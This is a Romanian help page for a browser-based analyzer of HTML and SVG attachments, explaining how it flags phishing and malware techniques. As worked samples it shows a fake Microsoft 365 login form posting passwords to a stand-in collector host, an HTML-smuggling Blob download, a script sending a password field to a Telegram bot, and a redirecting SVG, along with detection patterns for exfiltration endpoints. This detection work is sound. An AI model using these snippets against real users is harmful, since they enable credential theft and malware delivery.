Decriptează straturile Base64, hex, codificare URL, gzip și deflate până când rămâne text lizibil.
Nou
Analizator de atașamente HTML
Rulează localNou
Instrumentul în sine este în limba engleză; această pagină îl explică în limba ta.
Folosește Analizator de atașamente HTML
Ce face
Încărcați sau lipiți un atașament HTML sau SVG pentru a vedea ce s-ar întâmpla dacă ar fi deschis: descărcări ascunse, formulare care transmit o parolă către alte site-uri, redirecționări, puncte finale de exfiltrare și cod ofuscat. Fișierul este citit ca text și nu este niciodată afișat sau executat.
Aplicația funcționează în întregime în browserul tău: nimic din ce introduci nu este încărcat pe server.
Cum se utilizează Analizator de atașamente HTML
- Nu deschideți fișierul. Salvați atașamentul .html, .htm, .shtml, .xhtml sau .svg fără a-l deschide sau copiați codul sursă al acestuia sub formă de text.
- Încărcați-l sau lipiți-l. Trageți fișierul în caseta de mai jos sau selectați-l (până la 25 MB) sau lipiți codul sursă (până la 5 MB) și apăsați butonul „Analizează” sau Ctrl+Enter.
- Citește verdictul. Caseta din partea de sus afișează mesajele „Risc ridicat”, „Suspect” sau „Nu s-au găsit modele de risc ridicat”, urmate de categoriile corespunzătoare și de numărul de constatări, de indicatori de compromis (IOC) și de bloburi încorporate.
- Analizați concluziile. Fiecare constatare prezintă gravitatea, categoria, numărul de rând și sursa corespunzătoare, iar linkurile și adresele sunt neutralizate.
- Exportă ceea ce ai găsit. Copiați IOC-urile în format „defanged” sau „raw” sau folosiți opțiunea „Trimite către” pentru IOC Converter, Abuse Report Generator sau, în cazul unui blob încorporat, pentru Multi-Layer Decoder.
Exemplu
Formular de autentificare cu adresa completată în prealabil
<title>Sign in to Microsoft 365</title>
<form action="https://collector.example/login" method="post">
<input type="email" name="u"> <input type="password" name="p">
<button>Sign in</button></form>
<script>document.forms[0].u.value = atob(location.hash.slice(1));</script>High risk: techniques used by phishing and malware attachments
Credential harvesting
1 high, 3 medium, 1 low · 2 IOCs · 0 embedded blobs
FILE
pasted source
SIZE
271 B · 5 lines
PAGE TITLE
Sign in to Microsoft 365
This file builds or hides code at run time. For deobfuscation and sandboxed emulation use JS Analyzer.
Findings
High
Login form sends the password to another site (collector[.]example)
Credential harvesting · line 2
<title>Sign in to Microsoft 365</title> <form action="hxxps://collector[.]example/login" method="post"> <input type="email" name="u"> <input type="password" name="…
Medium
Decodes Base64 at run time (atob)
Obfuscation · line 5
…Sign in</button></form> <script>document.forms[0].u.value = atob(location.hash.slice(1));</script>
Medium
Brand on a page with a password field: Microsoft / Office 365
Brand hints
Medium
Password field
Credential harvesting · line 3
…example/login" method="post"> <input type="email" name="u"> <input type="password" name="p"> <button>Sign in</button></form> <script>document.forms[0].u…
Low
Reads the URL fragment (often the victim’s e-mail to pre-fill)
Redirects · line 5
…in</button></form> <script>document.forms[0].u.value = atob(location.hash.slice(1));</script>
Forms
SENDS TO METHOD FIELDS LINE
hxxps://collector[.]example/login external Copy POST email u, password p, submit password 2
Requests and redirects with a literal target
VIA TARGET LINE
form hxxps://collector[.]example/login other site 2
IOCs
URLs (1)
hxxps://collector[.]example/login
Domains (1)
collector[.]example
Copy IOCs (defanged)
Copy IOCs (raw)
Static
…Risc ridicat: formularul de autentificare trimite parola către collector[.]example, titlul menționează „Microsoft 365” lângă câmpul pentru parolă, iar scriptul completează adresa de e-mail din fragmentul URL-ului folosind funcția atob. Lista IOC conține URL-ul colectorului și domeniul acestuia, neutralizate.
Ce verifică
| Semnal | Ce înseamnă asta |
|---|---|
| Contrabanda cu HTML | Valoare ridicată atunci când pagina creează un fișier în memorie (Blob folosind createObjectURL, un link de descărcare sau msSaveOrOpenBlob) și îl pune la dispoziție pentru descărcare. |
| Formulare | Orice formular care trimite datele către un alt site primește un rating ridicat, iar titlul indică dacă acesta conține o parolă. Tabelul „Formulare” prezintă destinația fiecărui formular, metoda de trimitere și câmpurile acestuia. |
| Puncte finale de exfiltrare | Apelurile API ale boturilor Telegram, token-urile boturilor, webhook-urile Discord și serviciile de colectare a datelor din formulare, precum formspree.io sau webhook.site, sunt foarte apreciate. |
| Ofuscarea | atob, unescape, fromCharCode, secvențe lungi de caractere de escape și rezultatele unor programe de ofuscare cunoscute. Șirurile literale codificate sunt decodificate fără a fi executate. |
| Cod dinamic | eval, constructorul Function, document.write și atribuirea de valori prin innerHTML generează cod sau marcaj în timpul rulării. |
| Redirecționări | Modificări ale locației, `window.open`, `meta refresh` și citirea fragmentului URL, unde kiturile transmit adesea adresa de e-mail a victimei. |
| Anti-analiză | Blocarea clicului dreapta sau a tastei F12, instrucțiunile din depanator, detectarea instrumentelor pentru dezvoltatori și verificările privind browserele automatizate. |
| Conținut încorporat | date: URI-uri, blocuri lungi de date în format Base64 sau hexazecimal și tipul de fișier în care sunt decodate, iframe ascunse și fișiere SVG care conțin scripturi. |
| Sugestii privind marca | Numele mărcilor în titlu, logo-uri sau linkuri. În cazul câmpului pentru parolă, acest aspect este considerat un risc mediu. |
Alte exemple
O descărcare realizată direct din browser
<script>
var b = new Blob([atob("UEsFBgAAAAAAAAAAAAAAAAAAAAAAAA==")], {type: "application/zip"});
var a = document.createElement("a");
a.href = URL.createObjectURL(b);
a.download = "invoice.zip";
a.click();
</script>Risc ridicat, motiv: introducerea ascunsă de cod HTML: 1 constatare de risc ridicat (pagina asamblează un fișier în browser și îl oferă spre descărcare) și 4 constatări de risc mediu pentru atob, new Blob, URL.createObjectURL și atributul „download”. Nu s-au identificat indicatori de compromis (IOC).
O parolă trimisă unui bot de pe Telegram
<form id="f"><input type="password" name="p"></form>
<script>fetch("https://api.telegram.org/bot<TOKEN>/sendMessage", {method: "POST", body: new FormData(document.getElementById("f"))});</script>Risc ridicat, motiv: exfiltrarea datelor; un script trimite date dintr-o pagină care conține un câmp pentru parolă către api.telegram.org, precum și identificarea punctului final al API-ului Telegram Bot. Constatările de risc mediu vizează funcția „fetch”, câmpul pentru parolă și un formular de autentificare fără o acțiune externă.
O imagine SVG care redirecționează
<svg xmlns="http://www.w3.org/2000/svg"><script>window.location.href = "https://login.example.net/?e=" + btoa("user@example.com");</script></svg>Risc ridicat: fișier SVG cu script, plus o redirecționare de risc mediu și o vulnerabilitate BTOA de risc scăzut. Ținta apare în secțiunea „Solicitări și redirecționări” ca un alt site, iar URL-ul spațiului de nume XML nu este inclus în indicatorii de compromis (IOC).
Întrebări frecvente
Ce anume detectează analizorul?
Acesta compară sursa cu regulile privind contrabanda HTML (Blob, createObjectURL, msSaveOrOpenBlob, linkuri de descărcare, URI-uri de tip „data:” URI și bloburi Base64 lungi), formulare și scripturi care trimit date către alte site-uri, exfiltrarea prin Telegram și Discord, redirecționări, iframe ascunse, ofuscare și trucuri anti-analiză. De asemenea, decodifică literalele atob, unescape și fromCharCode fără a le executa și listează fiecare URL, domeniu, adresă IP și adresă de e-mail pe care le găsește, neutralizate.
Poate să omită ceva sau să declanșeze o alarmă falsă?
Da. Codul criptat sau generat din mers poate ascunde comportamentul său în fața unei scanări statice, iar paginile obișnuite utilizează, de asemenea, funcțiile `fetch`, `innerHTML` sau imagini încorporate; prin urmare, citiți codul sursă corespunzător afișat lângă fiecare constatare. Pentru deobfuscare și emulare în mediu sandbox, utilizați JS Analyzer.
Fișierul a fost încărcat sau deschis?
Nu. Fișierul este citit ca text în browserul dumneavoastră și nu este niciodată afișat, executat sau trimis nicăieri. Sunt acceptate fișiere de până la 25 MB; în cazul fișierelor foarte mari, sunt scanate primii 4 MB și ultimul 1 MB din codul de marcare, iar bloburile încorporate sunt luate în calcul în întregul fișier.
De ce o imagine SVG este verificată la fel ca o pagină web?
Fișierele SVG sunt fișiere XML pe care browserele le deschid ca pe niște pagini, astfel încât pot conține scripturi, linkuri și cod HTML încorporat. O imagine nu are nevoie de script, așa că prezența unui script într-un fișier SVG este considerată un aspect important.
Ce sunt bloburile încorporate?
Șiruri lungi în format Base64, hexazecimal sau matrice de octeți din interiorul fișierului. Acestea sunt decodificate în memorie și etichetate cu tipul de fișier în care se transformă; poți copia unul dintre ele sau poți trimite un blob de text către Multi-Layer Decoder.
Ce înseamnă nivelurile de gravitate?
Nivelul „Risc ridicat” se referă la tiparele pe care se bazează atașamentele de tip phishing și malware, cum ar fi contrabanda, exfiltrarea datelor de la dispozitivele finale sau publicarea formularelor cu parole în alte locuri. Nivelul „Mediu” acoperă tehnici utilizate și de paginile obișnuite. Prezența unei singure constatări de nivel „Risc ridicat” determină clasificarea „Risc ridicat”.